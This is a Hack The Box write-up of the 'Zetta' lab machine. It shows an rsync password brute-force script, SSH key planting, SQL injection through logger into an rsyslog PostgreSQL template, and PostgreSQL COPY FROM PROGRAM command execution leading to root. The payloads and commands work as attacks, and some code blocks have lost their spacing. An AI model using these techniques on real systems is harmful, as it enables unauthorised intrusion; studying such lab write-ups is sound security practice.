Zetta box was the hardes box till I have done. It falls under linux and hard category. Here I will explain my path for Zetta box from the Hack The Box.
HTB:Zetta
Zetta box was the hardest box till I have done. It falls under linux and hard category. Especially to read the root flag is a quite tough one. I’ll approach this write-up how I solved it, along with the problems that I had to face during this box. At first I obtained the user flag using ipv6 and rsync service by uploading my authorized_keys then I used postgres along with logger to read root.txt .I’ll show all my payload(including that didn’t work in initial deployment to get the root).
Box Details
In above picture it’s ip is 10.10.10.156, I added it to /etc/hosts as zetta.htb. Let’s solve this box.
Recon
Let’s start with our universal port scanner nmap to see the open port and service which shows FTP(TCP 21),SSH(TCP 22) and HTTP(TCP 80).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@gr4n173:~$ nmap -sS -sV -sC -Pn -oN nmap.txt 10.10.10.156
Nmap 7.80 scan initiated Sat Jan 25 22:29:29 2020 as: nmap -sS -sV -sC -Pn -oN nmap.txt 10.10.10.156
Nmap scan report for zetta.htb (10.10.10.156)Host is up (0.29s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
22/tcp open ssh OpenSSH 7.9p1 Debian 10(protocol 2.0)| ssh-hostkey:
|2048 2d:82:60:c1:8c:8d:39:d2:fc:8b:99:5c:a2:47:f0:b0 (RSA)|256 1f:1b:0e:9a:91:b1:10:5f:75:20:9b:a0:8e:fd:e4:c1 (ECDSA)|_ 256 b5:0c:a1:2c:1c:71:dd:88:a4:28:e0:89:c9:a3:a0:ab (ED25519)80/tcp open http nginx
|_http-title: Ze::a Share
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Sat Jan 25 22:30:28 2020 -- 1 IP address (1 host up) scanned in 59.55 seconds
Web Enumeration
zetta.htb
After I noticed port 80 http opened I visited that site and got this as output.
Then, I searched every part of this website and found something interesting things in
STUFF TO DO
Native FTP We support native FTP with FXP enabled. We also support RFC2428.
and also the credentials username/password for FTP service as below.
![Details of FTP](public/images/ftp_details.jpg “Details of FTP)
FTP
With this detail I m into the FTP server now as.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@gr4n173:~$ ftp zetta.htb
Connected to zetta.htb.
220---------- Welcome to Pure-FTPd [privsep][TLS] ----------
220-You are user number 1 of 500 allowed.
220-Local time is now 08:23. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (zetta.htb:bikram): b6xsE32RXmPtAkGvDMpbWK7LCrC3r1SP
331 User b6xsE32RXmPtAkGvDMpbWK7LCrC3r1SP OK. Password required
Password:
230-This server supports FXP transfers
230-OK. Current restricted directory is
230-0 files used (0%) - authorized: 10 files
2300 Kbytes used (0%) - authorized: 1024 Kb
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
here you can see FXP transfers supports so I used this and got IPV6 from IPV4. If you are familiar with this then you can skip this blog but if you are unknown about this IPV6 and want to know how I got that then you can have a look at this RFC2428.
At first I had set tcpdump listner as
1
2
root@gr4n173:~$tcpdump -lni tun0 -vvvvvvvv ip6
tcpdump: listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
Now using this commands:-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ftp> quote EPRT |1|10.10.10.156|2222|
200-FXP transfer: from 10.10.16.25 to 10.10.10.156
200 PORT command successful
ftp> quote EPRT |2|2001:41d0:52:a00::e66|2222|
200-FXP transfer: from 10.10.10.156 to 2001:41d0:52:a00::e66%176
200 PORT command successful
ftp> quote EPRT |1|10.10.10.156|2222|
200-FXP transfer: from 2001:41d0:52:a00::e66%176 to 10.10.10.156
200 PORT command successful
ftp> quote EPRT |2|dead:beef:2::11df|2222|
200-FXP transfer: from 10.10.10.156 to dead:beef:2::11df%160
200 PORT command successful
ftp> LIST
?Invalid command
ftp> quote LIST
425 Could not open data connection to port 2222: Connection refused
ftp>
this specifies server should use IPV4 to open a data connection to host of zetta.htb on port 2222 and similar for second command IP6 . Now in third command IPV4 is activated again and IPV6 of my own ip which I got from ifconfig is used.
This was I got IPV6 as dead:beef::250:56ff:febd:a9a4
I pinged to this IPV6 and I got pinged back which indicates it was working fine. Now I tried again with nmap for IPV6 and got this with rsync service at port 8730 as
From here I got username roy now, I had to crack password of user roy. For that, I had wrote an script in python using pexpect to sending and receiving the files over socket. You can download script from here
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/python3importpexpectp=open('/usr/share/wordlists/rockyou.txt','r')forxinp:login=pexpect.spawn('rsync -6 -rdt rsync://roy@[dead:beef::250:56ff:febd:a9a4]:8730/home_roy/.ssh ssh')login.expect('Password:')login.sendline(x)if"auth failed on module"notinlogin.read():breakelse:print(x)
from here I got the password of user roy as :- computer
Now I tried to download the id_rsa key of roy user but that fails since roy didn’t have id_rsa key instead used my own authorized_keys to get the shell of user roy.
Here now authorized_keys let me to shell of user roy and also I had used the user roy along with it’s password computer.
Shell as roy
Finally I got the shell of roy and got the user.txt as
1
2
3
4
5
6
7
8
9
root@gr4n173:~$ ssh roy@zetta.htb
Linux zetta 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u1 (2019-07-19) x86_64Last login: Sat Feb 15 22:05:58 2020 from 10.10.14.193
roy@zetta:~$ whoami
roy
roy@zetta:~$ ls
user.txt
roy@zetta:~$ cat user.txt
a575bdb*************************
Postgresql Exploit
After I got user.txt i.e. roy shell ,I found .tudu.xml file in home directory of roy where many to do list was written.
.......
<tododone="no"collapse="no"><title>Check postgresql log for errors after configuration</title><text></text></todo><tododone="yes"collapse="no"><title>Prototype/test DB push of syslog events</title><text></text></todo><tododone="no"collapse="no"><title>Testing</title><text></text></todo><tododone="no"collapse="no"><title>Rework syslog configuration to push all events to the DB</title><text></text></todo><tododone="no"collapse="no"><title>Find/write GUI for syslog-db access/view</title><text>........
From above todo list I had to check postgresql log for errors, Hence it confirmed me to exploit log. After a lot of enumeration I found something fishy in /etc/rsyslog.d/.git where I found pgsql.conf but I wasn’t able to cat that file due to permission error. So I used other ways to read that file. For that I used git command since, there is .git repo in that directory as
1
2
3
4
5
6
7
8
9
10
roy@zetta:/tmp$ cd /etc/rsyslog.d/
roy@zetta:/etc/rsyslog.d$ git clone /etc/rsyslog.d/.git /tmp/.git
Cloning into '/tmp/.git'...
done.
roy@zetta:/etc/rsyslog.d$ ls -al /tmp/.git/
total 16drwxr-xr-x 3 roy roy 4096 Feb 20 06:21 .
drwxrwxrwt 11 root root 4096 Feb 20 06:21 ..
drwxr-xr-x 8 roy roy 4096 Feb 20 06:21 .git
-rw-r--r-- 1 roy roy 807 Feb 20 06:21 pgsql.conf
Now I was able to cat that file and where the file indicates there is sql injection one of the template and gives more information about local logging. Logging was new for me so googled and collected information about it. If you have known about logging then you can escape this blog but if you are unknown about logging in syslog then you can click here.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
roy@zetta:/tmp/.git$ cat pgsql.conf
### Configuration file for rsyslog-pgsql### Changes are preserved# https://www.rsyslog.com/doc/v8-stable/configuration/modules/ompgsql.html# Used default template from documentation/source but adapted table# name to syslog_lines so the Ruby on Rails application Maurice is# coding can use this as SyslogLine object.# template(name="sql-syslog" type="list" option.sql="on") { constant(value="INSERT INTO syslog_lines (message, devicereportedtime) values ('") property(name="msg") constant(value="','") property(name="timereported"dateformat="pgsql" date.inUTC="on") constant(value="')")}# load modulemodule(load="ompgsql")#Only forward local7.info for testing.local7.info action(type="ompgsql"server="localhost"user="postgres"pass="test1234"db="syslog"template="sql-syslog")
Since there was sql in syslog postgres I tried to get the shell of postgres for that I used command as
1
2
roy@zetta:/tmp/.git$ psql -d syslog
psql: FATAL: role "roy" does not exist
where -d, –dbname=DBNAME database name to connect to (default: “roy”)
So,for that I tried to create the user roy using postgres, logger and sql injection so my payload was
After that, I created the user roy for syslog and used the postgres command to see what things are inside the syslog database. Since this box got postgres I googled for latest exploit of postgresql and got COPY FROM PROGRAM Command Execution vulnerability. For more info about it you can click here.
And instead of using Metasploit I used the manual ways to exploit this vulnerability for that I used this blog here.
On reading blogs to use COPY command user must be superuser only then I can exploit it. For that I changed the user roy to superuser as
1
roy@zetta:~$ logger -p local7.info "aaa',current_timestamp);ALTER USER roy WITH SUPERUSER; --"
Now I exploit the postgres and able to run the command injection in syslog database. At my first attempt I was interrupted and unable to run command in postgres but after 2nd/3rd attempt I used ($$)Dollar-quoting for escaping single quotes in postgres to exploit command injection.
Command Injection -> Postgres shell
1
2
3
4
5
6
7
8
9
10
syslog=# CREATE TABLE RCE(RCE text);
CREATETABLEsyslog=# COPY RCE FROM PROGRAM $$id$$;
COPY1syslog=# SELECT * FROM RCE;
rce------------------------------------------------------------------------
postgres
uid=106(postgres)gid=113(postgres)groups=113(postgres),112(ssl-cert)(2rows)
Now I have to get the postgres shell for that I should have id_rsa key. Now for that I found the id_rsa key of postgres in directory /var/lib/postgres/.ssh/
So for that I used that cat command in command injection and able to cat the RSA key.
and I have todo list from shell of roy .tudu.xml and got this.
1
2
3
4
<tododone="no"collapse="no"><title>Change shared password scheme from <secret>@userid to something more secure.</title><text></text>
From above two notes: format of password of user posgres and todo list I made conclusion as password root should be sup3rs3cur3p4ass@root.
Finally that worked and got the root shell and root.txt.
1
2
3
4
5
6
7
8
9
postgres@zetta:~$ su root
Password:
root@zetta:/var/lib/postgresql# cdroot@zetta:~# whoami
root
root@zetta:~# id
uid=0(root)gid=0(root)groups=0(root)root@zetta:~# cat root.txt
b9407e837fb****************
This way I got the root of zetta box and learned alot from this box. So I would like to thank creator of this box jkr for such an awesome box.
I will be posting writeup of next box after box retired. I would like to Thank readers for being with me through out this writeup.
Feedback are really appreciated !!
Tweet about this writeup if you like.
You can follow and see my blog in my medium profile: gr4n173.